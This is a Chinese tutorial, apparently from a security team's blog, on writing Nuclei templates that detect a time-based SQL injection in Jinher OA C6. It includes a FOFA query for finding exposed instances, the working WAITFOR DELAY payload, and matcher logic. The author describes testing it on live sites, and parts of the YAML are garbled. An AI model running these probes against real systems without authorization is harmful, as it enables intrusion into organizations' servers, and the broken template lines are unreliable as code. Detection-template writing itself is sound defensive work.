基础篇没看过的师傅建议先看一下关于Yaml脚本的基础知识:
【脚本编写】Nuclei-yaml脚本速成新手教程--基础篇
fofa:app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
首先,分析下poc的具体情况:
问题参数:IncentiveID
测试payload:%20WAITFOR%20DELAY%20'0:0:5'
这里用的延时5秒,按照payload的提供的方法,我们只需要关注执行该payload执行后,响应时间大于或等于5秒的站点,就有可能存在该注入问题
开始编写:
id: jinhe-C6-IncentivePlanFulfill-sqli #注意ID格式,不要有特殊字符和空格哈
info:
name: jinhe-C6-IncentivePlanFulfill-sqli #信息块部分也是一样
author: 思沃科技 #作者
severity: critical #风险等级
description: 金和OA C6 IncentivePlanFulfill SQL注入漏洞 #这里备注可有可无,但是建议写上,免得你自己也不知道这个脚本是干啥的
http:
raw:
- | #这里的GET为请求体,这里直接把所有poc复制过来即可
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html) :
Accept: */*
zh-CN,zh;q=0.9 :
Connection: close
no-cache :
Pragma: no-cache
Host: {{Hostname}}
#User-Agent,Accept,Accept-Language,Connection,Cache-Control,Pragma这些可以删除掉,并不会影响执行,而且代码会更简洁一些(有些特殊的站点,会要求请求中加入特殊的HTTP头信息,这个遇到了再说)
matchers: #匹配器
type: dsl #匹配响应码的
dsl:
5' #延时大于等于5秒 =
简单的跑了几个站点,可以发现,有部分站点已经匹配到了我们的响应时间>=3秒的规则,来试试准确度吧。
测试了几个,几乎全部命中,运气还算不错。
尽量采用2个以上的规则来进行精确匹配,例如:我们为了减少误报率,可以通过--debug的方式,来看看确认存在注入的这些站点,返回的信息是什么。
通过--debug参数,看目标的返回包信息,虽然没有明显的报错特征,只返回了HTTP/1.1 200 OK,也就是说,只要响应时间大于等于5秒,并且页面是存在的(HTTP响应码为 200)时候,就有可能存在SQL注入漏洞,那我们就提取特征,来增加个匹配条件,减少误报的可能。这里使用匹配规则为:
matchers: #匹配器
- type: dsl #type为类型,dls为匹配响应时间方法
dsl:
- 'duration>=5' #响应时间大于等于5秒
- type: status #匹配HTTP状态码
status:
- 200 #匹配状态码为200
matchers-condition: and #该条件为,两者都匹配后返回为true,否则为false,当然了,可以把and换成or,这样就只匹配其中任意一条策略了。
请求一的延时设置为3
请求二的延时设置为5
如果两个请求之后,最终返回的延时时间满足了:
请求一的响应时间>=3且<=4
请求二的响应时间>=5且<=6
上面的两个要求同时满足基本可以确定漏洞存在,而且由于请求了两次,基本上可以避免99%由于网络原因导致的响应时间过于长而引起的误报
id: jinhe-C6-IncentivePlanFulfill-sqli #注意ID格式,不要有特殊字符和空格哈
info:
name: jinhe-C6-IncentivePlanFulfill-sqli #信息块部分也是一样
author: 思沃科技 #作者
severity: critical #风险等级
description: 金和OA C6 IncentivePlanFulfill SQL注入漏洞 #这里备注可有可无,但是建议写上,免得你自己也不知道这个脚本是干啥的
http:
- raw:
- | #这里的GET为请求体1,请求2的延时设置为3
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:3'--&TVersion=1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Host: {{Hostname}}
- | #这里的GET为请求体2,请求2的延时设置为5
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cache-Control: no-cache
Pragma: no-cache
Host: {{Hostname}}
#User-Agent,Accept,Accept-Language,Connection,Cache-Control,Pragma这些可以删除掉,并不会影响执行,而且代码会更简洁一些(有些特殊的站点,会要求请求中加入特殊的HTTP头信息,这个遇到了再说)
matchers:
- type: dsl
dsl:
- 'duration_1>=3 && duration_1<=4' #请求1的延时>=3且<=4
- 'duration_2>=5 && duration_2<=6' #请求2的延时>=5且<=6
qkpzq1qqkkq
类似这样:
matchers:
- type: word
part: body
words:
- "qkpzq1qqkkq" #报错提示
原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论